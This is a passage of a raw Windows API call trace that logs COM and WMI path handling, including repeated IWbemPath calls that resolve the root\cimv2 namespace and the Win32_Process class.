0x80004002 [0119.264] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0119.265] WbemDefPath:IUnknown:AddRef (This=0x1b4afee0) returned 0x3 [0119.265] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0119.265] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0119.265] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4ac1b0) returned 0x0 [0119.265] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4ac1b0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0119.265] WbemDefPath:IUnknown:Release (This=0x1b4ac1b0) returned 0x3 [0119.265] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0119.265] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0119.265] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0119.265] WbemDefPath:IUnknown:Release (This=0x1b4afee0) returned 0x2 [0119.265] WbemDefPath:IUnknown:Release (This=0x1b4afee0) returned 0x1 [0119.265] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0119.265] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0119.265] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4afee0, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4afee0) returned 0x0 [0119.265] WbemDefPath:IUnknown:AddRef (This=0x1b4afee0) returned 0x3 [0119.265] WbemDefPath:IUnknown:Release (This=0x1b4afee0) returned 0x2 [0119.265] WbemDefPath:IWbemPath:SetText (This=0x1b4afee0, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0119.265] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af460, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0119.265] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afee0, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0119.265] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afee0, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0119.266] WbemDefPath:IWbemPath:GetText (in: This=0x1b4afee0, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0119.266] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1b4af460) returned 0x0 [0119.266] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4afee0, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0119.266] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4afee0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0119.266] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4afee0, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="ROOT") returned 0x0 [0119.266] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4af460, uIndex=0x0, pszName="ROOT") returned 0x0 [0119.266] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4afee0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0119.266] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4afee0, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="CIMV2") returned 0x0 [0119.266] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4af460, uIndex=0x1, pszName="CIMV2") returned 0x0 [0119.266] WbemDefPath:IWbemPath:GetClassName (in: This=0x1b4af460, puBuffLength=0x1b30d558*=0x0, pszName=0x0 | out: puBuffLength=0x1b30d558*=0x0, pszName=0x0) returned 0x8004103a [0119.266] WbemDefPath:IWbemPath:SetClassName (This=0x1b4af460, Name="Win32_Process") returned 0x0 [0119.266] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4af460, uRequestedInfo=0x0, puResponse=0x1b30d640 | out: puResponse=0x1b30d640*=0x20c16) returned 0x0 [0119.266] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af460, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0119.266] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af460, lFlags=4, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x22, pszText=0x0) returned 0x0 [0119.266] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af460, lFlags=4, puBuffLength=0x1b30d590*=0x22, pszText="000000000000000000000000000000000" | out: puBuffLength=0x1b30d590*=0x22, pszText="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0119.266] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4af460, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0x20c16) returned 0x0 [0119.266] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4af460, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0119.266] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af460, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0x14, pszText=0x0) returned 0x0 [0119.266] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af460, lFlags=8, puBuffLength=0x1b30d590*=0x14, pszText="0000000000000000000" | out: puBuffLength=0x1b30d590*=0x14, pszText="\\\\XC64ZB\\ROOT\\CIMV2") returned 0x0 [0119.266] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0960, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0119.266] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0960, lFlags=16, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xb, pszText=0x0) returned 0x0 [0119.266] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0960, lFlags=16, puBuffLength=0x1b30d590*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d590*=0xb, pszText="root\\cimv2") returned 0x0 [0119.266] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af460, lFlags=2, puBuffLength=0x1b30d5a0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5a0*=0xe, pszText=0x0) returned 0x0 [0119.266] WbemDefPath:IWbemPath:GetText (in: This=0x1b4af460, lFlags=2, puBuffLength=0x1b30d5a0*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b30d5a0*=0xe, pszText="Win32_Process") returned 0x0 [0119.266] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d4e8 | out: ppv=0x1b30d4e8*=0x6124e8) returned 0x0 [0119.266] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4d8 | out: pAptType=0x1b30d4d8*=1) returned 0x0 [0119.267] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d4e0 | out: ppvObject=0x1b30d4e0*=0x0) returned 0x80004002 [0119.267] IUnknown:Release (This=0x6124e8) returned 0x1 [0119.267] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8d8 | out: ppv=0x1b30c8d8*=0x1b4ac610) returned 0x0 [0119.267] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4ac610, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9c0 | out: ppvObject=0x1b30c9c0*=0x0) returned 0x80004002 [0119.267] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4ac610, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c998 | out: ppvObject=0x1b30c998*=0x1b4b0420) returned 0x0 [0119.267] WbemDefPath:IUnknown:Release (This=0x1b4ac610) returned 0x0 [0119.267] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0420, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c740 | out: ppvObject=0x1b30c740*=0x1b4b0420) returned 0x0 [0119.268] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0420, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7d0 | out: ppvObject=0x1b30c7d0*=0x0) returned 0x80004002 [0119.268] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0420, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfc8 | out: ppvObject=0x1b30bfc8*=0x0) returned 0x80004002 [0119.268] WbemDefPath:IUnknown:AddRef (This=0x1b4b0420) returned 0x3 [0119.268] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0420, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30be88 | out: ppvObject=0x1b30be88*=0x0) returned 0x80004002 [0119.268] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0420, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be10 | out: ppvObject=0x1b30be10*=0x0) returned 0x80004002 [0119.268] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0420, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be00 | out: ppvObject=0x1b30be00*=0x1b4ac130) returned 0x0 [0119.268] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4ac130, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be28 | out: pCid=0x1b30be28*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0119.268] WbemDefPath:IUnknown:Release (This=0x1b4ac130) returned 0x3 [0119.268] CoGetContextToken (in: pToken=0x1b30beb0 | out: pToken=0x1b30beb0) returned 0x0 [0119.268] CoGetContextToken (in: pToken=0x1b30c330 | out: pToken=0x1b30c330) returned 0x0 [0119.268] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0420, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c3f0 | out: ppvObject=0x1b30c3f0*=0x0) returned 0x80004002 [0119.268] WbemDefPath:IUnknown:Release (This=0x1b4b0420) returned 0x2 [0119.268] WbemDefPath:IUnknown:Release (This=0x1b4b0420) returned 0x1 [0119.268] CoGetContextToken (in: pToken=0x1b30d120 | out: pToken=0x1b30d120) returned 0x0 [0119.268] CoGetContextToken (in: pToken=0x1b30d020 | out: pToken=0x1b30d020) returned 0x0 [0119.268] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0420, riid=0x1b30d180*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d150 | out: ppvObject=0x1b30d150*=0x1b4b0420) returned 0x0 [0119.268] WbemDefPath:IUnknown:AddRef (This=0x1b4b0420) returned 0x3 [0119.269] WbemDefPath:IUnknown:Release (This=0x1b4b0420) returned 0x2 [0119.269] WbemDefPath:IWbemPath:SetText (This=0x1b4b0420, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0119.269] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0960, puCount=0x1b30d598 | out: puCount=0x1b30d598*=0x2) returned 0x0 [0119.269] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0960, lFlags=8, puBuffLength=0x1b30d590*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d590*=0xf, pszText=0x0) returned 0x0 [0119.269] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0960, lFlags=8, puBuffLength=0x1b30d590*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d590*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0119.269] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d418 | out: ppv=0x1b30d418*=0x6124e8) returned 0x0 [0119.269] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d408 | out: pAptType=0x1b30d408*=1) returned 0x0 [0119.269] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d410 | out: ppvObject=0x1b30d410*=0x0) returned 0x80004002 [0119.269] IUnknown:Release (This=0x6124e8) returned 0x1 [0119.270] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c808 | out: ppv=0x1b30c808*=0x1b4ac110) returned 0x0 [0119.270] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4ac110, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c8f0 | out: ppvObject=0x1b30c8f0*=0x0) returned 0x80004002 [0119.270] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4ac110, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c8c8 | out: ppvObject=0x1b30c8c8*=0x1b4b0a20) returned 0x0 [0119.270] WbemDefPath:IUnknown:Release (This=0x1b4ac110) returned 0x0 [0119.270] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0a20, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c670 | out: ppvObject=0x1b30c670*=0x1b4b0a20) returned 0x0 [0119.270] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0a20, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c700 | out: ppvObject=0x1b30c700*=0x0) returned 0x80004002 [0119.270] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0a20, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bef8 | out: ppvObject=0x1b30bef8*=0x0) returned 0x80004002 [0119.270] WbemDefPath:IUnknown:AddRef (This=0x1b4b0a20) returned 0x3 [0119.270] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0a20, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bdb8 | out: ppvObject=0x1b30bdb8*=0x0) returned 0x80004002 [0119.270] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0a20, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bd40 | out: ppvObject=0x1b30bd40*=0x0) returned 0x80004002 [0119.270] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0a20, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bd30 | out: ppvObject=0x1b30bd30*=0x1b4ac5f0) returned 0x0 [0119.270] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4ac5f0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bd58 | out: pCid=0x1b30bd58*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0119.270] WbemDefPath:IUnknown:Release (This=0x1b4ac5f0) returned 0x3 [0119.270] CoGetContextToken (in: pToken=0x1b30bde0 | out: pToken=0x1b30bde0) returned 0x0 [0119.270] CoGetContextToken (in: pToken=0x1b30c260 | out: pToken=0x1b30c260) returned 0x0 [0119.270] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0a20, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c320 | out: ppvObject=0x1b30c320*=0x0) returned 0x80004002 [0119.271] WbemDefPath:IUnknown:Release (This=0x1b4b0a20) returned 0x2 [0119.271] WbemDefPath:IUnknown:Release (This=0x1b4b0a20) returned 0x1 [0119.271] CoGetContextToken (in: pToken=0x1b30d050 | out: pToken=0x1b30d050) returned 0x0 [0119.271] CoGetContextToken (in: pToken=0x1b30cf50 | out: pToken=0x1b30cf50) returned 0x0 [0119.271] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4b0a20, riid=0x1b30d0b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d080 | out: ppvObject=0x1b30d080*=0x1b4b0a20) returned 0x0 [0119.271] WbemDefPath:IUnknown:AddRef (This=0x1b4b0a20) returned 0x3 [0119.271] WbemDefPath:IUnknown:Release (This=0x1b4b0a20) returned 0x2 [0119.271] WbemDefPath:IWbemPath:SetText (This=0x1b4b0a20, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0119.271] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0420, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x0) returned 0x0 [0119.271] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0a20, puCount=0x1b30d4c8 | out: puCount=0x1b30d4c8*=0x2) returned 0x0 [0119.271] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0a20, lFlags=16, puBuffLength=0x1b30d4c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4c0*=0xb, pszText=0x0) returned 0x0 [0119.271] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0a20, lFlags=16, puBuffLength=0x1b30d4c0*=0xb, pszText="0000000000" | out: puBuffLength=0x1b30d4c0*=0xb, pszText="root\\cimv2") returned 0x0 [0119.271] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1b4b0420) returned 0x0 [0119.271] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0a20, puCount=0x1b30d520 | out: puCount=0x1b30d520*=0x2) returned 0x0 [0119.271] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b0a20, uIndex=0x0, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x5, pName=0x0) returned 0x0 [0119.271] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b0a20, uIndex=0x0, puNameBufLength=0x1b30d518*=0x5, pName="0000" | out: puNameBufLength=0x1b30d518*=0x5, pName="root") returned 0x0 [0119.271] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4b0420, uIndex=0x0, pszName="root") returned 0x0 [0119.271] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b0a20, uIndex=0x1, puNameBufLength=0x1b30d518*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d518*=0x6, pName=0x0) returned 0x0 [0119.271] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1b4b0a20, uIndex=0x1, puNameBufLength=0x1b30d518*=0x6, pName="00000" | out: puNameBufLength=0x1b30d518*=0x6, pName="cimv2") returned 0x0 [0119.271] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1b4b0420, uIndex=0x1, pszName="cimv2") returned 0x0 [0119.271] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4b0a20, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0119.271] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4b0a20, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0119.271] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4b0420, puNameBufLength=0x1b30d510*=0x0, pName=0x0 | out: puNameBufLength=0x1b30d510*=0x2, pName=0x0) returned 0x0 [0119.271] WbemDefPath:IWbemPath:GetServer (in: This=0x1b4b0420, puNameBufLength=0x1b30d510*=0x2, pName="0" | out: puNameBufLength=0x1b30d510*=0x2, pName=".") returned 0x0 [0119.271] WbemDefPath:IWbemPath:GetInfo (in: This=0x1b4b0420, uRequestedInfo=0x0, puResponse=0x1b30d5b0 | out: puResponse=0x1b30d5b0*=0xc15) returned 0x0 [0119.272] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0960, puCount=0x1b30d508 | out: puCount=0x1b30d508*=0x2) returned 0x0 [0119.272] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0960, lFlags=4, puBuffLength=0x1b30d500*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d500*=0xf, pszText=0x0) returned 0x0 [0119.272] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0960, lFlags=4, puBuffLength=0x1b30d500*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d500*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0119.272] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1b4b0960, puCount=0x1b30d4d8 | out: puCount=0x1b30d4d8*=0x2) returned 0x0 [0119.272] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0960, lFlags=4, puBuffLength=0x1b30d4d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d4d0*=0xf, pszText=0x0) returned 0x0 [0119.272] WbemDefPath:IWbemPath:GetText (in: This=0x1b4b0960, lFlags=4, puBuffLength=0x1b30d4d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d4d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0119.272] 